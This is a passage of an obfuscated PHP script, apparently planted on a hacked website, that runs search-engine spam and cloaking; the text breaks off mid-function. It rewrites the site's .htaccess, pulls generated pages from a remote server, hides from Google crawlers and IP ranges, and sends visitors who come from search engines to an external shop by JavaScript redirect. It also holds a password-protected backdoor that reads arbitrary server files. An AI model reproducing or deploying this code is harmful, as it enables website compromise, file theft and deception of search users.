<?php @ini_set('display_errors', 0); @ini_set('log_errors', 0); @set_time_limit(3600); define("DATAHOST", "https://www.data-center.com/api/"); define("CENTERKEY", 3); define("MYDIR", "/ebayus210918-24/"); define("FNUM", 98); define("JGNUM", "40"); define("LINKNUM", "8"); define("BZSITE", "v"); define("CURRENUSE", "/usd/"); define("BZPRO", "k"); define("BZCAT", "r"); define("JDT", "0"); define("MSID", 7953); define("KEYJG", 43); define("RANDNUMI", 11); define("RANDNUMII", 11); define("PNAMELEN", 44); define("JTHZ", "/"); $arrnametime[] = "3"; $arrnametime[] = "1"; $arrnametime[] = "4"; $arrnametime[] = "2"; $arrKeywz[] = "10"; $arrKeywz[] = "9"; $arrKeywz[] = "6"; $arrKeywz[] = "4"; $arrKeywz[] = "12"; $arrKeywz[] = "7"; $arrKeywz[] = "5"; $arrKeywz[] = "8"; $arrKeywz[] = "11"; $arrBread[] = "crumb-list"; $arrBread[] = "l-breadcrumblist"; $arrBread[] = ""; $arrBread[] = "crumbs row"; $arrBread[] = "BreadcrumbTop"; $arrBread[] = "breadcrumb row"; $arrBread[] = "plp__breadcrumb"; $arrBread[] = "bread-List row"; $arrBread[] = "ck-breadcrumb clearfix"; $arrBread[] = "crumbs"; $arrBread[] = "navBreadCrumb row"; $arrBread[] = "crumbs-head"; $arrBread[] = "BreadcrumbList row"; $arrBread[] = "breadList clearfix"; $arrBread[] = "breadHead"; $arrBread[] = "v-breadcrumb"; $arrBread[] = "breadcrumbs-base clearfix"; $arrBread[] = "Breadcrumb row"; $arrBread[] = "page-breadcrumbs row"; $arrBread[] = "s-breadcrumb"; $arrBread[] = "crumbList"; $arrBread[] = "doc-crumb row"; $arrBread[] = "l-breadcrumb clearfix"; $arrBread[] = "Breadcrumbs row"; $arrBread[] = "Breadcrumb-Head row"; $arrBread[] = "crumbList row"; $arrBread[] = "nw-breadcrumblist row"; $arrBread[] = "BreadcrumbList"; $arrBread[] = "Breadcrumb-Top clearfix"; $arrBread[] = "wrapper-breadcrums row"; $arrBread[] = "crumb-list row"; $arrBread[] = "pages-breadcrumbs"; $arrBread[] = "crumbsTops row"; $arrBread[] = "Breadcrumb-Heads"; $arrBread[] = "ag-breadcrumblist"; $arrBread[] = "bread_crumb row"; $arrBread[] = "crumbs-nag clearfix"; $arrBread[] = "breadcrumbs-base"; $arrBread[] = "BreadcrumbTops"; $arrBread[] = "crumbsTops clearfix"; $arrBread[] = "nw-breadcrumblist clearfix"; $arrBread[] = "l-breadcrumblist clearfix"; $arrBread[] = "BreadcrumbsHead"; $arrBread[] = "nw-breadcrumblist"; $arrBread[] = "ag-breadcrumblist row"; $arrBread[] = "BreadcrumbLists"; $arrBread[] = "crumbsHead row"; $arrBread[] = "c-breadcrumb clearfix"; $arrBread[] = "breadcrumbs-base row"; $arrBread[] = "l-breadcrumblist row"; $arrBread[] = "breadcrumbs clearfix"; $arrBread[] = "BreadcrumbsHead clearfix"; $arrBread[] = ""; $arrBread[] = "c-breadcrumb row"; $arrBread[] = "BreadcrumbHeads"; $arrBread[] = "breadcrumbs"; $arrBread[] = "BreadHead clearfix"; $arrBread[] = "qa-breadcrumb row"; $arrBread[] = ""; $arrBread[] = "doc-crumb"; $arrBread[] = "ck-breadcrumb"; $arrBread[] = ""; $arrBread[] = "r-breadcrumb clearfix"; $arrBread[] = "crumbsHead"; $arrBread[] = "crumbs clearfix"; $arrBread[] = "crumbsTop"; $arrBread[] = "breadtop"; $arrBread[] = "navBreadCrumb clearfix"; $arrBread[] = "BreadcrumbHeads row"; $arrBread[] = "BreadcrumbsList clearfix"; $arrBread[] = "pages-breadcrumbs row"; $arrBread[] = "cs-breadcrumb clearfix"; $arrBread[] = "plp__breadcrumb row"; $arrBread[] = "c-breadcrumb"; $arrBread[] = "v-breadcrumb row"; $arrBread[] = "crumbsHead clearfix"; $arrBread[] = "BreadcrumbsList"; $arrBread[] = "s-breadcrumb row"; $arrBread[] = "breadHeads"; $arrBread[] = "crumbsTop clearfix"; $arrBread[] = "crumbsHeads clearfix"; $arrBread[] = "breadLists clearfix"; $arrBread[] = "BreadcrumbsList row"; $arrBread[] = "crumbs-top row"; $arrBread[] = "Breadcrumbs clearfix"; $arrBread[] = "BreadcrumbTops row"; $arrBread[] = "el-breadcrumb row"; $arrBread[] = ""; $arrBread[] = "crumbs-top clearfix"; $arrBread[] = "plp__breadcrumb clearfix"; $arrBread[] = "Breadcrumb clearfix"; $arrBread[] = "crumbsHeads row"; $arrBread[] = "navBreadCrumbs"; $arrBread[] = "bread_crumb clearfix"; $arrBread[] = "BreadcrumbTops clearfix"; $arrBread[] = "breadHeads row"; $arrBread[] = "pages-breadcrumbs clearfix"; $arrBread[] = "customBreadcrumb row"; $arrBread[] = "r-breadcrumb"; $arrBread[] = "crumbsTops"; $arrBread[] = "breadcrumb"; $arrBread[] = "BreadcrumbHead"; $arrBread[] = ""; $arrBread[] = "l-breadcrumb row"; $arrBread[] = "wrapper-breadcrums"; $arrBread[] = ""; $arrBread[] = "BreadHead row"; $arrBread[] = "l-breadcrumb"; $arrBread[] = "mb-breadcrumb row"; $arrBread[] = "breadcrumb clearfix"; $arrBread[] = "Breadcrumb-Head clearfix"; $arrBread[] = "Breadcrumbs"; $arrBread[] = "navBreadCrumb"; $arrBread[] = "Bread clearfix"; $arrBread[] = "BreadcrumbNavigation row"; $arrBread[] = "crumbs-top"; $arrBread[] = "ant-breadcrumb clearfix"; $arrBread[] = ""; $arrBread[] = "mb-breadcrumb"; $arrBread[] = ""; $arrBread[] = "l-breadcrumb"; $arrBread[] = "crumbs-head clearfix"; $arrBread[] = "chrome-breadcrumbs clearfix"; $arrBread[] = "l-breadcrumb clearfix"; $arrBread[] = "qa-breadcrumb"; $arrBread[] = "breadHead clearfix"; $arrBread[] = "BreadcrumbTop clearfix"; $arrBread[] = "BreadcrumbTop row"; $arrBread[] = "ag-breadcrumblist clearfix"; $arrBread[] = "BreadcrumbHead clearfix"; $arrBread[] = "bread-List"; $arrBread[] = "Breadcrumb-Heads row"; $arrBread[] = "crumbsHeads"; $arrBread[] = "breadtops row"; $arrBread[] = "breadHeads clearfix"; $arrBread[] = "breadtop row"; $arrBread[] = "Breadcrumb"; $arrBread[] = "page-breadcrumbs clearfix"; $arrBread[] = ""; $arrBread[] = "BreadHead"; $arrBread[] = "breadLists row"; $arrBread[] = "l-breadcrumb row"; $arrBread[] = "breadList row"; $arrBread[] = "Breadcrumb"; $arrBread[] = "wrapper-breadcrums clearfix"; $arrBread[] = "chrome-breadcrumbs row"; $arrBread[] = ""; $arrBread[] = "customBreadcrumb clearfix"; $arrBread[] = "ant-breadcrumb"; $arrBread[] = "Bread"; $arrBread[] = "crumbs-nag row"; $arrBread[] = "breadList"; $arrBread[] = "breadcrumbs row"; $arrBread[] = "Breadcrumb clearfix"; $arrBread[] = "crumbs-head row"; $arrBread[] = "crumbs-nag"; $arrBread[] = "breadHead row"; $arrBread[] = "breadLists"; $arrBread[] = "Bread row"; $arrBread[] = "s-breadcrumb clearfix"; $arrBread[] = "doc-crumb clearfix"; $arrBread[] = "bread_crumb"; $arrBread[] = "BreadcrumbHeads clearfix"; $arrBread[] = "Breadcrumb-Top"; $arrBread[] = "Breadcrumb-Heads clearfix"; $arrBread[] = "bread-List clearfix"; $arrBread[] = "Breadcrumb-Top row"; $arrBread[] = "ck-breadcrumb row"; $arrBread[] = "Breadcrumb row"; $arrBread[] = "mb-breadcrumb clearfix"; $arrBread[] = "el-breadcrumb clearfix"; $arrBread[] = "breadtops"; $arrBread[] = "el-breadcrumb"; $arrBread[] = "cs-breadcrumb row"; $arrBread[] = "ant-breadcrumb row"; $arrBread[] = ""; $arrBread[] = "navBreadCrumbs clearfix"; $arrBread[] = "chrome-breadcrumbs"; $arrBread[] = "crumbsTop row"; $arrBread[] = "BreadcrumbNavigation"; $arrBread[] = "breadtops clearfix"; $arrBread[] = "customBreadcrumb"; $arrBread[] = "cs-breadcrumb"; $arrBread[] = "crumb-list clearfix"; $arrBread[] = "r-breadcrumb row"; $arrBread[] = "page-breadcrumbs"; $arrBread[] = ""; $arrBread[] = "BreadcrumbNavigation clearfix"; $arrBread[] = "breadcrumb clearfix"; $arrBread[] = "BreadcrumbLists clearfix"; $arrBread[] = "breadcrumb"; $arrBread[] = "breadtop clearfix"; $arrBread[] = "breadcrumb row"; $arrBread[] = "navBreadCrumbs row"; $arrBread[] = "v-breadcrumb clearfix"; $arrBread[] = "Breadcrumb-Head"; $arrBread[] = "BreadcrumbLists row"; $arrBread[] = "crumbList clearfix"; $arrBread[] = "qa-breadcrumb clearfix"; $arrBread[] = "BreadcrumbList clearfix"; $arrBread[] = "BreadcrumbsHead row"; $arrBread[] = "BreadcrumbHead row"; $arrfh[] = "Christmas Supplies"; $arrfh[] = "Xmas"; $arrfh[] = "Top Christmas gifts 2021"; $arrfh[] = "Christmas gift ideas"; $arrfh[] = "Christmas presents"; $arrfh[] = "Unique Christmas Gifts"; $arrfh[] = "Christmas gift"; $arrfh[] = "Christmas Ornament"; $arrfh[] = "Christmas gift shop"; $arrfh[] = "Christmas Decoration"; $arrfh[] = "Xmas Ornaments"; $arrfh[] = "Christmas gift ideas 2021"; $arrfh[] = "Holiday presents"; $arrfh[] = "for Christmas"; $arrfh[] = "Holiday Gifts"; $arrfh[] = "Christmas Gifts 2021"; $arrfh[] = "Christmas gift store"; $arrfh[] = "Christmas Holiday"; $arrfh[] = "best Christmas gift"; $arrfh[] = "Best Christmas gifts 2021"; $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; ${$q1} = RandAbcs(); $date_string[0] = "qgmeuytlcrpaxkhinbodzvwfsj"; $date_string[1] = "dqzlibvmnfxohtcrkjupwagsye"; $date_string[2] = "waongetlvmdfzxbrchuqsjkiyp"; $date_string[3] = "rgohqkdacyxwuefsnjmlzpvtib"; $date_string[4] = "imdpoxfytksabulwqjczhgvern"; $date_string[5] = "aghxvyrewzcfsitjpnqulbokmd"; $date_string[6] = "ewlgxaykctburohnpvdfmjiqzs"; $date_string[7] = "cnkvejymwqprbdiuhxgzoltafs"; $date_string[8] = "hyeobqsacfxzrptmkldgiwnujv"; $date_string[9] = "yilutqkmjbgnvedzwcopafrxhs"; $date_string[10] = "urgoefdwsxztbjqnhmykciaplv"; $date_string[11] = "csqvxlorfaiezmytwgjkubdhnp"; $date_string[12] = "ejslxqhyikdpawgtrvnzubfcom"; $date_string[13] = "uaoyzwvbqcsxdtimpjnerfklgh"; $date_string[14] = "vypmwqtldaozhgiefkujbxscnr"; $date_string[15] = "jcpuokyalbgxnsqwztidhfrmve"; $date_string[16] = "pesxncoayqgrhfvtdmubkwiljz"; $date_string[17] = "lkgzqormsxcnvefupywadthjbi"; $date_string[18] = "epjkrafbiwqstxocugvmlznyhd"; $date_string[19] = "djkmfrnxeuhsapvwgizboqcylt"; $date_string[20] = "qprfgntsduyjovwheamcblxizk"; $date_string[21] = "rbdwkvxnspfcuqihlazgoemytj"; $date_string[22] = "vazuhnkebxwgidforqpjlymtcs"; $date_string[23] = "hncirwqtpgfzjykmusaldbevxo"; $date_string[24] = "gkbdsyrcwauzfeiqpovnxmthlj"; $date_string[25] = "ehsavxqomtgdlrucnyjkzipwbf"; $date_string[26] = "ymvbtfsrduxkjzicglhpoeqnaw"; $date_string[27] = "xflywvdnpjibzrsecqukgmoaht"; $date_string[28] = "yxqtmnbioklhcuprasjwfgdvez"; $date_string[29] = "wxsymbjinvotzeacrdgfukhqlp"; $date_string[30] = "hduvtibxcefwmzjrkqyoangpls"; $date_string[31] = "jrpubomtqixeywgzndhslcfvka"; $date_string[32] = "mhvdunqrfowikbsptjgecxlazy"; $date_string[33] = "mkhlefpcjsnxtouagiqvzbrywd"; $date_string[34] = "nmkcvweglrutyhxfspjidobazq"; $date_string[35] = "gsejpwdcxbuhoyrlzfavnqitmk"; $date_string[36] = "cbizwuhaqgxnovrsdlyjtefmpk"; $date_string[37] = "jcatezifdslhgbyoumxvpkwnrq"; $date_string[38] = "zsopxvlikywtangdehmbcjurqf"; $date_string[39] = "cnmrsydheovkgjixluptwzabfq"; $date_string[40] = "rjiwgohklatpbymqudznsvfcxe"; $date_string[41] = "dxgeyazphuqsjcilkmobnvwtrf"; $date_string[42] = "bmiysraojxwgehulqpfzckdntv"; $date_string[43] = "saolemcqnthgbifrxjzvudpkyw"; $date_string[44] = "ozkqfrjlivsubwdcxtngahpyme"; $date_string[45] = "fzgupordknseyivcajlwmxhtqb"; $date_string[46] = "xsadngbkcwiqfrmyljezpthuov"; $date_string[47] = "xqviwjkrztfegmpsulbcyadhno"; $date_string[48] = "gnetkyxchqsbdalmwirovzfjup"; $date_string[49] = "jbvrqckdeyupohmtfinwxagzls"; $date_string[50] = "rqkdjtcibevmynzuoghxfwlasp"; $date_string[51] = "lfhoryekjxwmtdnaspbzvqciug"; $date_string[52] = "rlwuotigbdhjqksfzxvacpneym"; $date_string[53] = "hjdunoigzfewqlbmtscakxyvrp"; $date_string[54] = "kyxbguanespzowfqrcjdivmhtl"; $date_string[55] = "tgcamsrxljwopbdihevfnukqyz"; $date_string[56] = "ycoaldtzsfwxhjpuqnmbkirgve"; $date_string[57] = "rqeycdovnpitjfmxzkagluwhbs"; $date_string[58] = "yriaglbcvpnqswodtjfuexkzmh"; $date_string[59] = "bdtfkluyeqgjpwiznxvsohrcam"; $date_string[60] = "cgrjuhtzwsxvdqanfpiklyeomb"; $date_string[61] = "wpxqtvfughcnzdmaeobsiykrlj"; $date_string[62] = "ndfktulgvjrpyhxqswoibmacez"; $date_string[63] = "qtdosrxyuplmjfkzvicwbhgane"; $date_string[64] = "vitmdcsjuaykxerzgboqlhnpfw"; $date_string[65] = "deirxpkfzuscgoqymjbavlhntw"; $date_string[66] = "pfqasrczxijkyemgolduhntvwb"; $date_string[67] = "tvbgrdpxiafsmuwqhzlneokjyc"; $date_string[68] = "vrmbunwiqpelyfgatojsdhxzck"; $date_string[69] = "ospqvzunlafirymxcwhgjebktd"; $date_string[70] = "risqbvhjyulaofkectzgwpxnmd"; $date_string[71] = "qvfaneutldropgzbswcikxjymh"; $date_string[72] = "ebwkqrsxycfhizlpjvmungdato"; $date_string[73] = "nkwrhmzgjupotysevlxicfqbad"; $date_string[74] = "dhuaqjpiwscmzgetxlfbkryvno"; $date_string[75] = "qvmdzxjyhogkctniwbrfepasul"; $date_string[76] = "yixpgfhboenzdujwvasltrckqm"; $date_string[77] = "ptdfvwsjenumqorgychbkxilza"; $date_string[78] = "njoweucvprkfslxzbthagmdiqy"; $date_string[79] = "vsqhptrowaidfkbgmzcyexjunl"; $date_string[80] = "qyimdcwljrgoabxhuvfpkstenz"; $date_string[81] = "uepjihbdaocswrqmtgnlfxvkyz"; $date_string[82] = "lcxszdpjvmyoeabqinrhugtwfk"; $date_string[83] = "goyirjsubzmcplwkxhndevfaqt"; $date_string[84] = "ifhadnxpvjqzogtceuykbmlsrw"; $date_string[85] = "wjplgmzdkaonfubcihsqvyretx"; $date_string[86] = "oreqwlukastcpxymzhgdfinbjv"; $date_string[87] = "hqypcwboxvgdmujfirtnakzesl"; $date_string[88] = "yfmpjotqirwbzeuksvlxdgnhca"; $date_string[89] = "jxqtrfvnhgyscpkwaduezimlbo"; $date_string[90] = "tzcbmlnudejkqorgyvwfshipxa"; $date_string[91] = "pqovynkbeudzgwmarhfticxljs"; $date_string[92] = "cvzgjynqkfrixlembuoptasdhw"; $date_string[93] = "yskomfqxgvlczaiwhpujbtedrn"; $date_string[94] = "oimwgpvjbnrxlkadseytzuqhcf"; $date_string[95] = "ilwatkcodprmqsefhyjzunbvxg"; $date_string[96] = "tdgqmcsfhiaelnrokjyubpvzxw"; $date_string[97] = "nbhwroueypsldfgxaictmqkjvz"; $date_string[98] = "uibpaxzvjnesdqfgrtmokywclh"; $date_string[99] = "anvozqtgiflsjbrmwexhpdckuy"; $thisdom = str_replace("www.", "", $_SERVER['HTTP_HOST']); define("GETDOM", getthisdom()); $arrArrr = array(); $j = 0; for ($i = 0; $i < 20; $i += 2) { $arrArrr[$j++] = $date_string[$i] . $date_string[$i + 1]; } $Arrrarr = array_flip($arrArrr); $temp_abc = $O00O0O[9] . $O00O0O[4] . $O00O0O[0] . $O00O0O[13] . $O00O0O[17] . $O00O0O[14] . $O00O0O[11]; $temp_def = $O00O0O[13] . $O00O0O[0] . $O00O0O[18] . $O00O0O[20] . $O00O0O[3] . $O00O0O[8] . $O00O0O[14] . $O00O0O[0]; if (isset($_GET["gsitemap"]) && isset($_GET["mapnum"])) { $O_OO0_0O_0 = 'America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); if (!is_dir("../mapper")) { mkdir("../mapper", 0755); } global $gnumber; $gnumber = 1; $bgNum = (int) trim($_GET["gsitemap"]); $mapnum = (int) trim($_GET["mapnum"]); if ($bgNum > FNUM) { die("The Number Must Lower Then " . FNUM); } $arrNumTemp = getMapNum($bgNum, $mapnum); $rs = '#<map>(.*)</map>#si'; $mapLogs = file_get_contents("./map.log"); foreach ($arrNumTemp as $vss) { $vals = "id{$vss}.php"; if (JDT == 0 && $gnumber == 1) { if (strstr($mapLogs, 'writemap.xml') && file_exists('../mapper/writemap.xml')) { echo $vals . "<br/>"; echo '../mapper/writemap.xml successed<br/>'; $gnumber++; continue; } } elseif (JDT == 0) { if (strstr($mapLogs, '#write' . $arrABC[$gnumber - 2] . 'map' . '.xml#') && file_exists('../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml')) { echo $vals . "<br/>"; echo '../mapper/write' . $arrABC[$gnumber - 2] . 'map' . '.xml successed<br/>'; $gnumber++; continue; } } if (strstr($mapLogs, '#write' . $arrABC[$gnumber - 1] . 'map' . '.xml#') && file_exists('../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml')) { echo $vals . "<br/>"; echo '../mapper/write' . $arrABC[$gnumber - 1] . 'map' . '.xml successed<br/>'; $gnumber++; continue; } for ($i = 0; $i < 3; $i++) { $idUrl = GETDOM . "gpage.php?getmapid={$vss}&site={$thisdom}&sid=" . MSID; $tempIdStr = curl_get_from_webpage($idUrl, '', 5); $arrIdNameNow = array(); if (preg_match($rs, $tempIdStr, $matchIdName)) { $tparrIdName = explode('^^', $matchIdName[1]); foreach ($tparrIdName as $vs) { $tpArr = explode('^', $vs); if (count($tpArr) == 2) { $arrIdNameNow[$tpArr[0]] = $tpArr[1]; } elseif (count($tpArr) > 2) { $tpstr = ''; for ($j = 1; $j < count($tpArr); $j++) { $tpstr .= $tpArr[$j] . ' '; } $tpstr = trim($tpstr); $arrIdNameNow[$tpArr[0]] = $tpstr; } } break; } } if (!isset($arrIdNameNow) or count($arrIdNameNow) < 100) { echo "g sitemap fail<br/>"; die; } echo $vals . "<br/>"; if ($gnumber == 1) { if (JDT == 1) { gsitemap($arrIdNameNow, 2, 1); } else { gsitemap($arrIdNameNow, 1, 2); } } else { if (JDT == 1) { gsitemap2($arrIdNameNow, 2, 1); } else { gsitemap2($arrIdNameNow, 1, 2); } } unset($arrIdNameNow, $tempArr1, $tempArr2); } } if (isset($_GET["ghtac"]) && $_GET["ghtac"]) { $dirNames = dirname(__FILE__); $httcReplace = end(explode(DIRECTORY_SEPARATOR, $dirNames)); $PreDir = ''; if (JDT == 1) { $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; } else { $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("{$PreDir}.htaccess")) { @chmod("{$PreDir}.htaccess", 0755); $strhtt = file_get_contents("{$PreDir}.htaccess"); } if (!(strstr($strhtt, 'RewriteBase') || strstr($strhtt, 'RewriteRule'))) { $strhtt = '<IfModule mod_rewrite.c>' . PHP_EOL . 'Options +FollowSymLinks' . PHP_EOL . 'RewriteEngine on' . PHP_EOL . 'RewriteBase /' . $UrlBaseDir . PHP_EOL . '</IfModule>'; } else { $strhtt = str_ireplace('# RewriteBase ', 'RewriteBase ', $strhtt); $strhtt = str_ireplace('#RewriteBase ', 'RewriteBase ', $strhtt); } if (1) { $r0 = '#(.*RewriteEngine On.*)#i'; $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; if (JDT == 0) { $rsut = '\\1' . PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . '.*(write[a-z]+map\\.xml)$ mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule ^' . '.*(writemap\\.xml)$ mapper/\\$1 [L]' . PHP_EOL; $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . '.*(write[a-z]+map\\.xml)$ mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule ^' . '.*(writemap\\.xml)$ mapper/\\$1 [L]' . PHP_EOL . 'RewriteRule'; } else { $rsut = '\\1' . PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL; $rsut2 = PHP_EOL . 'RewriteRule ^' . '.*-(\\d+)-.*' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?id=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^' . 'catalog-(.*)' . JTHZ . '$ ' . $RewriteOnDir . 'index\\.php?cat=\\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule'; } if (preg_match($r0, $strhtt)) { $strhtt = preg_replace($r0, $rsut, $strhtt, 1); } elseif (preg_match($r1, $strhtt)) { $strhtt = preg_replace($r1, $rsut, $strhtt, 1); } else { $strhtt = preg_replace($r2, $rsut2, $strhtt, 1); } if (JDT == 1 or JDT == 0) { file_put_contents("{$PreDir}.htaccess", $strhtt); } } die("ghtac ok"); } if (isset($_POST["chdate"]) && md5($_POST["chdate"]) == 'b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])) { $v_read = $_POST["v_read"]; if (file_exists($v_read)) { echo '#ok#'; } else { echo '#nofile#'; } die; } if (isset($_POST["redate"]) && md5($_POST["redate"]) == 'b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])) { $v_read = $_POST["v_read"]; if (file_exists($v_read)) { echo rFile($v_read); die; } else { echo '#nofile#'; die; } } if (isset($_POST["test"]) && md5($_POST["test"]) == 'b6772c68627f804a9578152ee90f5b0c') { echo '#ok#'; die; } if (isset($_POST["lan"]) && $_POST["lan"] == 1 or isset($_GET["lan"]) && $_GET["lan"] == 1) { $blog_data = array(); $flag = 1; $blog_data['index'] = filesize(__FILE__); if (file_exists("./template.html")) { $blog_data['template'] = filesize("./template.html"); } else { $flag = 0; $blog_data['template'] = -1; } echo 'error---' . serialize($blog_data) . '---'; die; } if (isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])) { die; } if (JDT == 2) { $UrlParent = end(explode('index.php', $_SERVER['REQUEST_URI'])); if ($UrlParent) { $tempSid = ''; $tempPid = ''; $r2 = '#.*-(\\d+)-.*' . JTHZ . '$#i'; $r3 = '#.*-(\\d+)-.*/$#i'; if (preg_match($r2, $UrlParent, $matches2)) { if (isset($matches2[1])) { $tempPid = $matches2[1]; } } else { preg_match($r3, $UrlParent, $matches13); if (isset($matches13[1])) { $tempPid = $matches13[1]; } } if ($tempPid) { $_GET['id'] = $tempPid; } else { $r2 = '#catalog-(.*)' . JTHZ . '#i'; $r3 = '#catalog-(.*)/$#i'; if (preg_match($r2, $UrlParent, $matches2)) { if (isset($matches2[1])) { $tempPid = $matches2[1]; } } else { preg_match($r3, $UrlParent, $matches13); if (isset($matches13[1])) { $tempPid = $matches13[1]; } } if ($tempPid) { $_GET['cat'] = $tempPid; } } } } elseif (JDT == 3 && isset($_GET['keyword']) && $_GET['keyword']) { $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r2 = '#-(\\d+)$#i'; $r3 = '#[-/]' . '(\\d+)$#i'; if (preg_match($r2, $UrlParent, $matches2)) { if (isset($matches2[1])) { $tempPid = $matches2[1]; } } else { preg_match($r3, $UrlParent, $matches13); if (isset($matches13[1])) { $tempPid = $matches13[1]; } } if ($tempPid) { $_GET['id'] = $tempPid; } } function getRandStr() { $arrABC = range('a', 'z'); shuffle($arrABC); $randNum = rand(4, 6); $str = implode('', array_slice($arrABC, 0, $randNum)); return $str; } if (isset($_GET["id"])) { $id = $_GET["id"]; } else { if (isset($_GET["cat"])) { $rqurl = $_GET["cat"]; $logFileName = './idlogs.txt'; if (file_exists($logFileName)) { $arrUrlId = unserialize(file_get_contents($logFileName)); } else { $arrUrlId = array(); } if (isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]) { $id = $arrUrlId[$rqurl]; } else { $arrUrlId[$rqurl] = getRandCId($rqurl); $id = $arrUrlId[$rqurl]; file_put_contents($logFileName, serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } } else { $id = "539964"; } } $rs_ptth = $O00O0O[63] . $O00O0O[2] . $O00O0O[14] . $O00O0O[12]; $rs_http = 'http://www.'; $resid = '#^\\d+$#'; if (!preg_match($resid, $id)) { http_response_code(404); exit; } $id23 = $id; $siteid = MSID; $siteAID = $siteid . '-' . $id23; $fileKey = $id23 % FNUM; if (isset($_SERVER["HTTP_REFERER"])) { $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\\.[a-z0-9\\-]+){1,2}#i'; $ipRanges = array(array('64.233.160.0', '64.233.191.255'), array('66.102.0.0', '66.102.15.255'), array('66.249.64.0', '66.249.95.255'), array('72.14.192.0', '72.14.255.255'), array('74.125.0.0', '74.125.255.255'), array('209.85.128.0', '209.85.255.255'), array('216.239.32.0', '216.239.63.255')); $localIp = get_real_ip(); $is_or_no = is_ip($localIp, $ipRanges); $iszz = isCrawler(); if (function_exists('gethostbyaddr')) { $hostname = @gethostbyaddr($localIp); $is_g_ip = preg_match("#google#i", "{$hostname}") === 1; } else { $is_g_ip = 0; } if (preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip) { $rsdom = '#^https?://www\\.[^/]+/$#i'; $jums1 = $rs_http . $temp_abc . $rs_ptth . CURRENUSE . $siteid . ".txt"; $jums2 = $rs_http . $temp_def . $rs_ptth . CURRENUSE . $siteid . ".txt"; for ($i = 0; $i < 2; $i++) { $jumstz = curl_getjs_from_webpage($jums1, 2); $jumstz = trim($jumstz); if (!preg_match($rsdom, $jumstz)) { $jumstz = curl_getjs_from_webpage($jums2, 10); $jumstz = trim($jumstz); if (preg_match($rsdom, $jumstz)) { break; } } else { break; } } echo '<script language="javascript" type="text/javascript">' . PHP_EOL . 'window.location.href="' . $jumstz . "index.php?main_page=product_info&products_id=" . $id23 . '";' . PHP_EOL . '</script>'; die; } } $fcontent = ''; $pInfoUrl = GETDOM . "gpage.php?site={$thisdom}&id={$siteAID}"; $pInfoStr = curl_get_from_webpage($pInfoUrl, '', 5); $rsInfo = '#<info>(.*)</info>#si'; preg_match($rsInfo, $pInfoStr, $matchInfo); if (isset($matchInfo[1])) { $InFoStrArr = unserialize($matchInfo[1]); } else { exit; } if (isset($InFoStrArr['frStr2'])) { $frStr2 = $InFoStrArr['frStr2']; $fr2Arr = unserialize($frStr2); } $frStr1 = $InFoStrArr['frStr1']; $fr1Arr = unserialize($frStr1); $Ptitle = $InFoStrArr['Ptitle']; $PtitleNowid = $Ptitle; $nowIdName = $InFoStrArr['nowIdName']; if (strstr($Ptitle, '#cat#')) { $tp_title_arr = explode('#cat#', $Ptitle); $Ptitle = $tp_title_arr[1]; } $pcatstr = $InFoStrArr['pcatstr']; $nowPreStr = $InFoStrArr['nowPreStr']; $nowNextStr = $InFoStrArr['nowNextStr']; $nowMateAddStr = $InFoStrArr['nowMateAddStr']; $nowMateAddArr = unserialize($nowMateAddStr); $falgMateDes = 0; if (strstr($pcatstr, '#cname#')) { $temparrI = explode('#cname#', $pcatstr); $catStr = $temparrI[0]; $catArr = explode('^', $catStr); $tparrCat = array(); $catArrII = array(); foreach ($catArr as $vs) { $vs = str_replace('&amp;', '&', $vs); if (!isset($tparrCat[$vs])) { $tparrCat[$vs] = 1; $catArrII[] = $vs; } } $catArr = $catArrII; $mateStr = $temparrI[1]; if (strstr($mateStr, '#keydescription#')) { $temparrII = explode('#keydescription#', $mateStr); $pkeyword = trim($temparrII[0]); if (!$pkeyword) { $pkeyword = $Ptitle; } else { $keyArr = explode(',', $pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for ($i = 0; $i < $num; 